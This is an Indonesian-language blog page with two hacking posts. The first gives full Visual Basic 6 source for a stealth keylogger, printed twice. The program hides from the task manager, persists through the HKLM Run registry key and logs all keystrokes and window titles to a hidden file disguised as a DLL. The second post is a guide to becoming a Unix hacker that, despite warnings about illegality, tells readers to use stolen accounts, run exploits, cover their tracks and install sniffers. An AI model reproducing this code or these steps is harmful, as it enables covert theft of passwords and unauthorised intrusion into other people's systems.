Tampilkan postingan dengan label Hacking. Tampilkan semua postingan
Keylogger
3:36 AMMungkin kita semua sudah sering mendengar tentang KeyLogger. Yeah.. KeyLogger adalah software yg mencatat gerak-gerik, atau aktifitas tombol yg kita tekan pada keyboard di sebuah Komputer. KeyLogger kemudian mencatat semua informasi pada sebuah catatan(LOG). Hmm.. dengan keylogger ini kita bisa mengetahui aktivitas user. Misalnya aja user habis buka E-mail, kamu bakalan tau ID-nya si User :D
Okay... berikut ini source code KeyLogger yang bisa kamu compile pake VB6. Kita hanya butuh sebuah timer dan module.
Yang perlu diperhatikan :
1. setelah REGSVC32.exe dieksekusi, keylogger tsg akan lg menulis di registry agar program tsb dieksekusi pd waktu booting:
(hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Run).
2. Aktifitas keylogger ini tidak dapat dilihat melalui task manager (Ctrl+Alt+Del)
3. kamu tidak dapat menghapus file REGSVC32.exe (this file is being used by windows)
4. kamu tidak dapat menghentikan booting REGSVC32.exe melalui regedit ato msconfig
5. Untuk melihat hasil rekaman KeyLogger ini kamu bisa buka file REGSVC32.DLL dengan Notepad
6. selama Keylogger ini aktif kamu tidak bisa melakukan Logoff user ... :(
======= code mulai ==========================
'simpan file hasil compile dg nama regsvc32.exe
'form
'simpan dg nama FRMLOG.frm
Option Explicit
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private sAppName As String
Private Const REG_SZ = 1
Private Const LOCALMACHINE = &H80000002
Private Const RSP_SIMPLE_SERVICE = 1
Private Const RSP_UNREGISTER_SERVICE = 0
Private Const VK_BACK = &H8
Private Const VK_CONTROL = &H11
Private Const VK_SHIFT = &H10
Private Const VK_TAB = &H9
Private Const VK_RETURN = &HD
Private Const VK_MENU = &H12
Private Const VK_ESCAPE = &H1B
Private Const VK_CAPITAL = &H14
Private Const VK_SPACE = &H20
Private Const VK_SNAPSHOT = &H2C
Private Const VK_UP = &H26
Private Const VK_DOWN = &H28
Private Const VK_LEFT = &H25
Private Const VK_RIGHT = &H27
Private Const VK_MBUTTON = &H4
Private Const VK_RBUTTON = &H2
Private Const VK_LBUTTON = &H1
Private Const VK_PERIOD = &HBE
Private Const VK_COMMA = &HBC
Private Const VK_NUMLOCK = &H90
Private Const VK_NUMPAD0 = &H60
Private Const VK_NUMPAD1 = &H61
Private Const VK_NUMPAD2 = &H62
Private Const VK_NUMPAD3 = &H63
Private Const VK_NUMPAD4 = &H64
Private Const VK_NUMPAD5 = &H65
Private Const VK_NUMPAD6 = &H66
Private Const VK_NUMPAD7 = &H67
Private Const VK_NUMPAD8 = &H68
Private Const VK_NUMPAD9 = &H69
Private Const VK_F9 = &H78
Private Const VK_F8 = &H77
Private Const VK_F7 = &H76
Private Const VK_F6 = &H75
Private Const VK_F5 = &H74
Private Const VK_F4 = &H73
Private Const VK_F3 = &H72
Private Const VK_F2 = &H71
Private Const VK_F12 = &H7B
Private Const VK_F11 = &H7A
Private Const VK_F10 = &H79
Private Const VK_F1 = &H70
Private Sub LoadTextFile()
On Error GoTo dlgerror
If Len(App.Path) <= 3 Then
Open App.Path & "settings.ini" For Input As #1
Line Input #1, sAppName
Close
Else
Open App.Path & "\settings.ini" For Input As #1
Line Input #1, sAppName
Close
End If
If sAppName = vbNullString Then
sAppName = "regsvc32"
End If
Exit Sub
dlgerror:
sAppName = "regsvc32"
End Sub
Private Sub SAVEDLL()
Dim nSaveLocation As String
On Error GoTo dlgerror
If Len(App.Path) <= 3 Then
Open App.Path & sAppName & ".dll" For Append As #1
nSaveLocation = App.Path & sAppName & ".dll"
GoTo READY
Else
Open App.Path & "\" & sAppName & ".dll" For Append As #1
nSaveLocation = App.Path & "\" & sAppName & ".dll"
GoTo READY
End If
READY:
If txtLOGGED.Text = vbNullString Then
Exit Sub
End If
Print #1, Time & " " & Date & vbCrLf & "Size: " & Format(FileLen(nSaveLocation) / 1000000, ".0") & " MB" & vbCrLf & "*** PROGRAMS OPENED ***" & vbCrLf & vbCrLf & txtENUMERATE.Text & vbCrLf & vbCrLf & txtLOGGED.Text & vbCrLf & vbCrLf
Close
Close
Close
SetAttr nSaveLocation, vbHidden
Exit Sub
dlgerror:
Err.Clear
Exit Sub
End Sub
Private Sub Form_Load()
On Error Resume Next
Call LoadTextFile
Me.Caption = sAppName
Me.Visible = False
App.TaskVisible = False
App.Title = sAppName
ENTERREGISTRY
RegisterServiceProcess GetCurrentProcessId(), RSP_SIMPLE_SERVICE
End Sub
Private Sub ENTERREGISTRY()
Dim nKey As Long
RegCreateKey LOCALMACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", nKey
If Len(App.Path) <= 3 Then
RegSetValueEx nKey, App.EXEName, 0, REG_SZ, App.Path & App.EXEName & ".exe", Len(App.Path & App.EXEName & ".exe")
Else
RegSetValueEx nKey, App.EXEName, 0, REG_SZ, App.Path & "\" & App.EXEName & ".exe", Len(App.Path & "\" & App.EXEName & ".exe")
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = True
Call SAVEDLL
ENTERREGISTRY
Unload Me
End
End Sub
Private Sub tmrCAPTION_Timer()
On Error Resume Next
Me.Caption = sAppName
Me.Visible = False
App.TaskVisible = False
App.Title = False
RegisterServiceProcess GetCurrentProcessId(), RSP_SIMPLE_SERVICE
End Sub
Private Sub tmrLOG_Timer()
On Error Resume Next
Dim nKey, nChar As Integer
Dim nText As String
For nChar = 1 To 255
nKey = GetAsyncKeyState(nChar)
If nKey = -32767 Then
nText = Chr(nChar)
If nChar = VK_BACK Then
nText = " {B.S} "
ElseIf nChar = VK_CONTROL Then
nText = " {CTRL} "
ElseIf nChar = VK_SHIFT Then
nText = " {SHIFT} "
ElseIf nChar = VK_TAB Then
nText = " {TAB} "
ElseIf nChar = VK_RETURN Then
nText = " {ENTER} "
ElseIf nChar = VK_MENU Then
nText = " {ALT} "
ElseIf nChar = VK_ESCAPE Then
nText = " {ESC} "
ElseIf nChar = VK_CAPITAL Then
nText = " {CAPS} "
ElseIf nChar = VK_SPACE Then
nText = " {SP.B} "
ElseIf nChar = VK_UP Then
nText = " {UP} "
ElseIf nChar = VK_LEFT Then
nText = " {LEFT} "
ElseIf nChar = VK_RIGHT Then
nText = " {RIGHT} "
ElseIf nChar = VK_DOWN Then
nText = " {DOWN} "
ElseIf nChar = VK_F1 Then
nText = " {F1} "
ElseIf nChar = VK_F2 Then
nText = " {F2} "
ElseIf nChar = VK_F3 Then
nText = " {F3} "
ElseIf nChar = VK_F4 Then
nText = " {F4} "
ElseIf nChar = VK_F5 Then
nText = " {F5} "
ElseIf nChar = VK_F6 Then
nText = " {F6} "
ElseIf nChar = VK_F7 Then
nText = " {F7} "
ElseIf nChar = VK_F8 Then
nText = " {F8} "
ElseIf nChar = VK_F9 Then
nText = "{F9}"
ElseIf nChar = VK_F10 Then
nText = " {F10} "
ElseIf nChar = VK_F11 Then
nText = " {F11} "
ElseIf nChar = VK_F12 Then
nText = " {F12} "
ElseIf nChar = VK_SNAPSHOT Then
nText = " {PRINT SCRN} "
ElseIf nChar = VK_RBUTTON Then
nText = " {R.B} "
ElseIf nChar = VK_LBUTTON Then
nText = " {L.B} "
ElseIf nChar = VK_MBUTTON Then
nText = " {M.B} "
ElseIf nChar = VK_PERIOD Then
nText = "."
ElseIf nChar = VK_COMMA Then
nText = ","
ElseIf nChar = VK_NUMLOCK Then
nText = " {NUMLCK} "
ElseIf nChar = VK_NUMPAD0 Then
nText = "0"
ElseIf nChar = VK_NUMPAD1 Then
nText = "1"
ElseIf nChar = VK_NUMPAD2 Then
nText = "2"
ElseIf nChar = VK_NUMPAD3 Then
nText = "3"
ElseIf nChar = VK_NUMPAD4 Then
nText = "4"
ElseIf nChar = VK_NUMPAD5 Then
nText = "5"
ElseIf nChar = VK_NUMPAD6 Then
nText = "6"
ElseIf nChar = VK_NUMPAD7 Then
nText = "7"
ElseIf nChar = VK_NUMPAD8 Then
nText = "8"
ElseIf nChar = VK_NUMPAD9 Then
nText = "9"
End If
txtLOGGED.Text = txtLOGGED.Text + nText
End If
Next
Call GetActiveWindowName
End Sub
Private Sub tmrSAVE_Timer()
Call SAVEDLL
txtLOGGED.Text = vbNullString
txtENUMERATE.Text = vbNullString
End Sub
====code end ===========
============code mulai ============
'module visual basic
'simpan dg nama mdlActiveWindow.bas
Option Explicit
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Public nCAPTION As String
Public nTESTER As Long
Public nClass As String
Public Sub GetActiveWindowName()
nCAPTION = Space(256)
nClass = Space(256)
GetWindowText GetForegroundWindow, nCAPTION, Len(nCAPTION)
GetClassName GetForegroundWindow, nClass, Len(nClass)
If nTESTER = GetForegroundWindow Then Exit Sub
FRMLOG.txtENUMERATE.Text = FRMLOG.txtENUMERATE.Text & vbCrLf & Time & " " & nCAPTION
FRMLOG.txtENUMERATE.Text = FRMLOG.txtENUMERATE.Text & vbTab & nClass
nTESTER = GetForegroundWindow
End Sub
============ code end ==========
CREDIT
[0] SPYRO KiD
Okay... berikut ini source code KeyLogger yang bisa kamu compile pake VB6. Kita hanya butuh sebuah timer dan module.
Yang perlu diperhatikan :
1. setelah REGSVC32.exe dieksekusi, keylogger tsg akan lg menulis di registry agar program tsb dieksekusi pd waktu booting:
(hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Run).
2. Aktifitas keylogger ini tidak dapat dilihat melalui task manager (Ctrl+Alt+Del)
3. kamu tidak dapat menghapus file REGSVC32.exe (this file is being used by windows)
4. kamu tidak dapat menghentikan booting REGSVC32.exe melalui regedit ato msconfig
5. Untuk melihat hasil rekaman KeyLogger ini kamu bisa buka file REGSVC32.DLL dengan Notepad
6. selama Keylogger ini aktif kamu tidak bisa melakukan Logoff user ... :(
======= code mulai ==========================
'simpan file hasil compile dg nama regsvc32.exe
'form
'simpan dg nama FRMLOG.frm
Option Explicit
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private sAppName As String
Private Const REG_SZ = 1
Private Const LOCALMACHINE = &H80000002
Private Const RSP_SIMPLE_SERVICE = 1
Private Const RSP_UNREGISTER_SERVICE = 0
Private Const VK_BACK = &H8
Private Const VK_CONTROL = &H11
Private Const VK_SHIFT = &H10
Private Const VK_TAB = &H9
Private Const VK_RETURN = &HD
Private Const VK_MENU = &H12
Private Const VK_ESCAPE = &H1B
Private Const VK_CAPITAL = &H14
Private Const VK_SPACE = &H20
Private Const VK_SNAPSHOT = &H2C
Private Const VK_UP = &H26
Private Const VK_DOWN = &H28
Private Const VK_LEFT = &H25
Private Const VK_RIGHT = &H27
Private Const VK_MBUTTON = &H4
Private Const VK_RBUTTON = &H2
Private Const VK_LBUTTON = &H1
Private Const VK_PERIOD = &HBE
Private Const VK_COMMA = &HBC
Private Const VK_NUMLOCK = &H90
Private Const VK_NUMPAD0 = &H60
Private Const VK_NUMPAD1 = &H61
Private Const VK_NUMPAD2 = &H62
Private Const VK_NUMPAD3 = &H63
Private Const VK_NUMPAD4 = &H64
Private Const VK_NUMPAD5 = &H65
Private Const VK_NUMPAD6 = &H66
Private Const VK_NUMPAD7 = &H67
Private Const VK_NUMPAD8 = &H68
Private Const VK_NUMPAD9 = &H69
Private Const VK_F9 = &H78
Private Const VK_F8 = &H77
Private Const VK_F7 = &H76
Private Const VK_F6 = &H75
Private Const VK_F5 = &H74
Private Const VK_F4 = &H73
Private Const VK_F3 = &H72
Private Const VK_F2 = &H71
Private Const VK_F12 = &H7B
Private Const VK_F11 = &H7A
Private Const VK_F10 = &H79
Private Const VK_F1 = &H70
Private Sub LoadTextFile()
On Error GoTo dlgerror
If Len(App.Path) <= 3 Then
Open App.Path & "settings.ini" For Input As #1
Line Input #1, sAppName
Close
Else
Open App.Path & "\settings.ini" For Input As #1
Line Input #1, sAppName
Close
End If
If sAppName = vbNullString Then
sAppName = "regsvc32"
End If
Exit Sub
dlgerror:
sAppName = "regsvc32"
End Sub
Private Sub SAVEDLL()
Dim nSaveLocation As String
On Error GoTo dlgerror
If Len(App.Path) <= 3 Then
Open App.Path & sAppName & ".dll" For Append As #1
nSaveLocation = App.Path & sAppName & ".dll"
GoTo READY
Else
Open App.Path & "\" & sAppName & ".dll" For Append As #1
nSaveLocation = App.Path & "\" & sAppName & ".dll"
GoTo READY
End If
READY:
If txtLOGGED.Text = vbNullString Then
Exit Sub
End If
Print #1, Time & " " & Date & vbCrLf & "Size: " & Format(FileLen(nSaveLocation) / 1000000, ".0") & " MB" & vbCrLf & "*** PROGRAMS OPENED ***" & vbCrLf & vbCrLf & txtENUMERATE.Text & vbCrLf & vbCrLf & txtLOGGED.Text & vbCrLf & vbCrLf
Close
Close
Close
SetAttr nSaveLocation, vbHidden
Exit Sub
dlgerror:
Err.Clear
Exit Sub
End Sub
Private Sub Form_Load()
On Error Resume Next
Call LoadTextFile
Me.Caption = sAppName
Me.Visible = False
App.TaskVisible = False
App.Title = sAppName
ENTERREGISTRY
RegisterServiceProcess GetCurrentProcessId(), RSP_SIMPLE_SERVICE
End Sub
Private Sub ENTERREGISTRY()
Dim nKey As Long
RegCreateKey LOCALMACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", nKey
If Len(App.Path) <= 3 Then
RegSetValueEx nKey, App.EXEName, 0, REG_SZ, App.Path & App.EXEName & ".exe", Len(App.Path & App.EXEName & ".exe")
Else
RegSetValueEx nKey, App.EXEName, 0, REG_SZ, App.Path & "\" & App.EXEName & ".exe", Len(App.Path & "\" & App.EXEName & ".exe")
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = True
Call SAVEDLL
ENTERREGISTRY
Unload Me
End
End Sub
Private Sub tmrCAPTION_Timer()
On Error Resume Next
Me.Caption = sAppName
Me.Visible = False
App.TaskVisible = False
App.Title = False
RegisterServiceProcess GetCurrentProcessId(), RSP_SIMPLE_SERVICE
End Sub
Private Sub tmrLOG_Timer()
On Error Resume Next
Dim nKey, nChar As Integer
Dim nText As String
For nChar = 1 To 255
nKey = GetAsyncKeyState(nChar)
If nKey = -32767 Then
nText = Chr(nChar)
If nChar = VK_BACK Then
nText = " {B.S} "
ElseIf nChar = VK_CONTROL Then
nText = " {CTRL} "
ElseIf nChar = VK_SHIFT Then
nText = " {SHIFT} "
ElseIf nChar = VK_TAB Then
nText = " {TAB} "
ElseIf nChar = VK_RETURN Then
nText = " {ENTER} "
ElseIf nChar = VK_MENU Then
nText = " {ALT} "
ElseIf nChar = VK_ESCAPE Then
nText = " {ESC} "
ElseIf nChar = VK_CAPITAL Then
nText = " {CAPS} "
ElseIf nChar = VK_SPACE Then
nText = " {SP.B} "
ElseIf nChar = VK_UP Then
nText = " {UP} "
ElseIf nChar = VK_LEFT Then
nText = " {LEFT} "
ElseIf nChar = VK_RIGHT Then
nText = " {RIGHT} "
ElseIf nChar = VK_DOWN Then
nText = " {DOWN} "
ElseIf nChar = VK_F1 Then
nText = " {F1} "
ElseIf nChar = VK_F2 Then
nText = " {F2} "
ElseIf nChar = VK_F3 Then
nText = " {F3} "
ElseIf nChar = VK_F4 Then
nText = " {F4} "
ElseIf nChar = VK_F5 Then
nText = " {F5} "
ElseIf nChar = VK_F6 Then
nText = " {F6} "
ElseIf nChar = VK_F7 Then
nText = " {F7} "
ElseIf nChar = VK_F8 Then
nText = " {F8} "
ElseIf nChar = VK_F9 Then
nText = "{F9}"
ElseIf nChar = VK_F10 Then
nText = " {F10} "
ElseIf nChar = VK_F11 Then
nText = " {F11} "
ElseIf nChar = VK_F12 Then
nText = " {F12} "
ElseIf nChar = VK_SNAPSHOT Then
nText = " {PRINT SCRN} "
ElseIf nChar = VK_RBUTTON Then
nText = " {R.B} "
ElseIf nChar = VK_LBUTTON Then
nText = " {L.B} "
ElseIf nChar = VK_MBUTTON Then
nText = " {M.B} "
ElseIf nChar = VK_PERIOD Then
nText = "."
ElseIf nChar = VK_COMMA Then
nText = ","
ElseIf nChar = VK_NUMLOCK Then
nText = " {NUMLCK} "
ElseIf nChar = VK_NUMPAD0 Then
nText = "0"
ElseIf nChar = VK_NUMPAD1 Then
nText = "1"
ElseIf nChar = VK_NUMPAD2 Then
nText = "2"
ElseIf nChar = VK_NUMPAD3 Then
nText = "3"
ElseIf nChar = VK_NUMPAD4 Then
nText = "4"
ElseIf nChar = VK_NUMPAD5 Then
nText = "5"
ElseIf nChar = VK_NUMPAD6 Then
nText = "6"
ElseIf nChar = VK_NUMPAD7 Then
nText = "7"
ElseIf nChar = VK_NUMPAD8 Then
nText = "8"
ElseIf nChar = VK_NUMPAD9 Then
nText = "9"
End If
txtLOGGED.Text = txtLOGGED.Text + nText
End If
Next
Call GetActiveWindowName
End Sub
Private Sub tmrSAVE_Timer()
Call SAVEDLL
txtLOGGED.Text = vbNullString
txtENUMERATE.Text = vbNullString
End Sub
====code end ===========
============code mulai ============
'module visual basic
'simpan dg nama mdlActiveWindow.bas
Option Explicit
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Public nCAPTION As String
Public nTESTER As Long
Public nClass As String
Public Sub GetActiveWindowName()
nCAPTION = Space(256)
nClass = Space(256)
GetWindowText GetForegroundWindow, nCAPTION, Len(nCAPTION)
GetClassName GetForegroundWindow, nClass, Len(nClass)
If nTESTER = GetForegroundWindow Then Exit Sub
FRMLOG.txtENUMERATE.Text = FRMLOG.txtENUMERATE.Text & vbCrLf & Time & " " & nCAPTION
FRMLOG.txtENUMERATE.Text = FRMLOG.txtENUMERATE.Text & vbTab & nClass
nTESTER = GetForegroundWindow
End Sub
============ code end ==========
CREDIT
[0] SPYRO KiD
MENJADI UNIX HACKER
3:31 AMJadi kamu memutuskan untuk menjadi seorang hacker UNIX tapi kami nggak tau gimana mulainya? Sebelum kamu benar-benar mulai, pastikan bahwa hal-hal berikut ini adalah jelas:
1. Hacking adalah kerja keras. Hacking bukanlah tempat bermain anak-anak yang hanya ingin mendapat 15 menit secara cuma-cuma. Kamu harus belajar bagaimana caranya mengoperasikan dan memprogram sebuah system. Kamu mesti ngeriset bagaimana mesin-mesin bereaksi dan membaca kode-kode asli. Ini adalah proses yang panjang dan sukar - inilah peringatan untuk kamu!
2. Hacking adalah ilegal. Masuk ke jaringan komputer tanpa izin adalah ilegal, paling tidak di banyak negara (hanya Belanda dan Argentina kalo nggak salah yang belum punya hukum mengenai hacking. Belum aja, sih ... paling juga nanti akan ada.) Walaupun hanya log-on ke sebuah sustem dengan menggunakan account bukan milikmu adalah tindakan pidana yang bisa dikenakan hukuman. Sekali sang hakim menjatuhkan hukuman, maka hukuman tersebut akan dimasukkan ke data hidup / arsip kamu. Seluruh hidup kamu mungkin bisa terlantar karena hanya sedikit perusahaan yang bersedia menerima hacker sebagai karyawan. Ini serius. Apalagi di Indonesia. Jika kamu meng-hacking server milik pemerintah, bisa dijamin kamu akan amblas. Dan keluarga kamu nggak aman! Beberapa anggota kami nggak bisa balik lagi ke tanah air karena sudah dicekal, dan terakhir, pemerintah mulai menyelidiki asal-usul ChiKo dan mencari keluarganya di Indonesia.
3. Hacking memerlukan banyak waktu. Kamu nggak mungkin cuman nge-hack selama setengah thun, terus berhenti dan istirahat selama tiga bulan, lalu kembali lagi. Waktu berjalan cepat di internet. Rilis baru UNIX, bug-bug baru, dan juga fix-fix nya. Sekali kamu ketinggalan jaman dengan eksploit data milikmu, kamu mesti mengemis-ngemis ke orang lain untuk memberikan barang-barang baru kepadamu, dan jika kamu melakukan hal tsb terlalu sering, mereka nggak akan begitu senang jadinya. 50% dari waktu hacking sebenarnya dihabiskan untuk mengumpulkan informasi. Bicaralah ke hacker-hacker lainnya, baca mailing lists dan newsgroups, jangan lupa situs-situs www dan ftp yang bagus.
Tapi apa motivasi kamu untuk secara benar-benar melakukan 'unix hacking'? Itu terserah kamu. Kamu ingin menjadi salah satunya, maka pikirkan lagi mengapa kamu ingin menjadi salah satu unix hacker. Lupakan film-film seperti "The Net" ataupun "Hackers" - film-film tsb BUKANLAH realita! Lupakan mimpi-mimpi menjadi pahlawan, mengehack Pentagon atau HanKam dan menjadi cowok terseksi, mendapat pacar-pacar yang cantik dan pada akhirnya bekerja untuk sebuah perusahaan keamanan sistem dengan gaji berjibun ;o). Hal-hal tersebut BUKANLAH apa yang akan terjadi - jadi, pastikanlah bahwa alasan kamu jelas, mengapa kamu ingin menjadi hacker dan apa yang kamu harapkan dari hacking. Bisakah kamu bayangkan ibundamu tercinta, tersedu-sedu saat polisi datang untuk menahanmu?
Ingatlah peringatan-peringatan ini. Ini kami jadikan peringatan untuk memastikan bahwa kamu menyadari apa yang kamu lakukan dan kamu ingin menjadi apa. Catatan juga bahwa kami menulis petunjuk singkat ini sebab seringkali kami mendapat pertanyaan dari banyak orang, "Gimana caranya supaya gue jadi jago nge-hack UNIX?" - dan dari waktu ke waktu kami menjadi makin cape ngejawabinnya. Maka ... inilah dia jawaban-jawabannya. Jangan salahkan kami atas ketidaklengkapan ataupun kesalahan- kami udah nggak peduli lagi dengan permintaan-permintaan ngajarin nge-hack lewat jalan potong. Hanya yang paling tahan bantinglah yang bertahan - jadi, cobalah mendapatkan sebanyak mungkin melalui teks ini jika kamu benar-benar masih pemula. Kami sendiri masih belum pantas menyandang gelar "hacker" karena kami merasa masih jauh sekali tertinggal oleh rekan-rekan kebangsaan lain dan kami masih selalu dalam proses mempelajari segalanya.
Gimana cara mulainya?
1. Kenalilah sang sistem - atau - gimana caranya kamu bisa menang rodeo tanpa belajar caranya menunggang kuda?
2. Dapatkan distribusi unix. Cobalah mendapatkan Linux, FreeBSD, Solaris, Sinix dll. untuk PC kamu. Linux dan FreeBSD adalah sistem-sistem murah (kadang-kadang gratis!) yang berasal dari BSD, sedangkan Solaris dan Sinix adalah sistem-sistem mahal yang berasal dari System V. Tip: Carilah distribusi linux yang punya buku pegangan yang cukup bagus. Kamu mesti mempelajari bagaimana caranya mengoperasikan unix. Pelajarilah dasar-dasarnya, seperti mengganti direktori, perintah-perintah menyalin dan menghapus dan menggunakan program penyunting.
3. Motivasi dirimu sendiri untuk secara benar-benar menggunakan UNIX. Gimana caranya memotivasi - itu terserah kamu sendiri. Mungkin dengan menggunakan databasi yang ada di distribusi unix kamu, membuat program dalam C untuk sekolah/universitas kamu, apa aja lah, yang jelas kamu mesti benar-benar menggunakan unix (seperti jamannya ngetik perintah di DOS dulu).
4. Beli beberapa buku untuk menolong kamu. Diluar sana ada banyak, jadi, pergilah ke toko buku terkemuka, paling bagus didekat sebuah universitas, dimana banyak orang-orang yang bisa menolong memberitahukan buku-buku apa yang cukup baik mengenai unix. Buku-buku Nutshell terbitan O'reilly (dan terjemahannya) kami sukai, namun ini adalah opini pribadi. Kamu mungkin mau mulai dengan seri For Dummies terbitan IDG (banyak yang bahasa Indonesianya. Baca FAQ untuk judul-judul lain.
5. Dapatkan internet account dengan PPP dan/atau akses shell (hubungi ISPmu). JANGAN SEKALI-KALI menge-hack atau bertukar informasi mengenai hacking (tanpa PGP) dengan menggunakan account milik kamu sendiri (atau account dibawah nama/alamat/telepon kamu!). Coba untuk mengkonfigurasikan PC unix kamu untuk menghubungkan diri ke Internet provider. Beberapa distribusi Linux dilengkapi dengan sebuah buku petunjuk dimana mereka menggambarkan gimana caranya untuk menyambungkan ke internet. Jika kamu sudah mengikuti 5 langkah tsb diatas dan mengetahui caranya mengoperasikan unix (ini akan makan waktu sekitar 2 - 8 minggu) maka kamu sebaiknya melanjutkan ke langkah berikutnya:
Pelajari Dasar-Dasarnya!
6. Kembalilah ke toko buku, kali ini carilah buku-buku mengenai unix dan keamanan internet. Beberapa buku terbitan Elex Media membahas hal ini. Buku-buku berbahasa inggris antara lain "Practical Unix Security" oleh Garfinkel and Spafford. Pelajari masalah-masalah keamanan dasar, 'holes' dan ciri-ciri apa yang ada di unix, dan kesalahan-kesalahan apa yang sering orang-orang lakukan.
7. Cobalah untuk mendapatkan semua informasi dan file-file yang kamu bisa temukan di internet. Selidiki situs-situs www dan ftp dan gunakan mesin pencari. Berlangganlah ke mailing list mengenai keamanan yang cukup penting dan bacalah newsgroups yang mungkin bisa jadi penting. Tanya-tanya di sekeliling di IRC mengenai situs-situs yang bagus. berikut adalah situs-situs untuk permulaan:
http://wks.uts.ohio-state.edu/unix_course/unix.html
http://www.mcsr.olemiss.edu/unixhelp/
8. Baca dan analisa file-file hasil kumpulan kamu - dan jangan cuman dikumpulin aja. Jika kata-kata seperti suid, buffer overflow, firewall, rdist, nis, nfs, dan SATAN sudah menjadi bukan rahasia lagi bagi kamu dan kamu benar-benar mengetahui apa makna dan konsekwensi kata-kata tersebut, ...lanjutkan.
Mulai Hacking
9. Dapatkan sebuah account yang bukan milikmu! Coba minta dari hacker yang kamu kenal/jumpai. Atau gunakan metode-metode yang ada di FAQ. Ingatlah: jangan coba-coba nge-hack dari account milik kamu sendiri!
10. Dengan account ini kamu bisa mencoba untuk menge-hack sistem pertamamu. Coba eksploit-eksploitmu. Tapi ingatlah untuk selalu untuk menutupi jejak (artikel akan segera menyusul) supaya account ilegal milikmu tidak menjadi sejarah setelah baru sekali dipakai!
11. Gunakan ypx, eksploit - eksploit remote sendmail, insecure NFS exports, dll untuk mendapatkan host-host lainnya. Kamu bisa menjadi benar-benar sukses dengan barang "lama" ini jika kamu menggunakan daftar host yang cukup besar dan skrip tulis/temukan (write/find) yang mengotomatisasi proses penge-test-an untuk kamu. Tapi dimana bisa ditemukan nama-nama host untuk membuat daftar host? Banyak kemungkinan. Coba irc, /etc/hosts, www, data analisis statistik dari akses-akses internet atau www, dll. Ini akan memberikan kamu banyak host dengan account-account yang ada.
12. Instal sebuah sniffer jika keadaan sistem memungkinkan dan kamu membobol account 'root'! Account ini akan memperbolehkan kamu mengakses banyak account ke host-host baru. Jalankan skrip-skrip eksploit kamu. pada akhirnya paling tidak ada beberapa yang bisa digunakan. Lanjutkanlah.
Menjadi seorang Hacker
APA? Kamu udah berhasil nge-hack root di beberapa sistem - dan kamu masih belum juga seorang "hacker"? Kenapa tuh? Seorang hacker bukanlah seseorang yang kerjanya menge-hack sebuah site, install sebuah sniffer dan selanjutnya. Seorang hacker asli adalah seseorang yang ingin mengerti sebuah sistem, mengetahui bagaimana sang sistem bereaksi, bersenang-senang mengambil alih kekuasaan di server tersebut dan tertarik dalam menemukan bugs-bugs baru dan mengarang program-program kegunaan (tool utility) baru. Yang cocok digambarkan diatas bisa dipanggil Columbus-nya Cyberspace.
13. Cobalah untuk berhubungan dengan hacker-hacker lainnya dan saling bertukar informasi, pengalaman, accounts, eksploits, dan file.
14. Amati diskusi-diskusi di newsgroups, mailing lists, dan irc. Cobalah membaca RFC-RFC penting, pelajarilah C dan mulailah memprogram tools karyamu sendiri.
15. Jangan kut-ikutan menjadi "31337" - kamu sendiri tahu bahwa kamu udah cukup keren hackingnya ("cool", gitu, bahasa Sunda-nya mah!) dan kamu nggak perlu untuk meyakinkan setiap orang bahwa kamu emang elit. Bertindaklah secara normal dan tolonglah orang-orang lain yang sekarang bertanya-tanya kepada kamu "gimana caranya supaya gue bisa nge-hack UNIX?"
16. Jangan lelah. Tetaplah bertahan di kawasan per-hacking-an, selalu amati newsgroup dan mailing list dan teman teman, jangan berhenti ber-hacking ria.
Yah, segitulah dari kami, kawan-kawan, teks diatas kayaknya cukup untuk membuat para pendatang baru tersedak mulutnya. Teks tsb emang singkat dan kotor, namun mempunyai apa yang diperlukan.
CREDIT
[0] LithErr - LithiumError
1. Hacking adalah kerja keras. Hacking bukanlah tempat bermain anak-anak yang hanya ingin mendapat 15 menit secara cuma-cuma. Kamu harus belajar bagaimana caranya mengoperasikan dan memprogram sebuah system. Kamu mesti ngeriset bagaimana mesin-mesin bereaksi dan membaca kode-kode asli. Ini adalah proses yang panjang dan sukar - inilah peringatan untuk kamu!
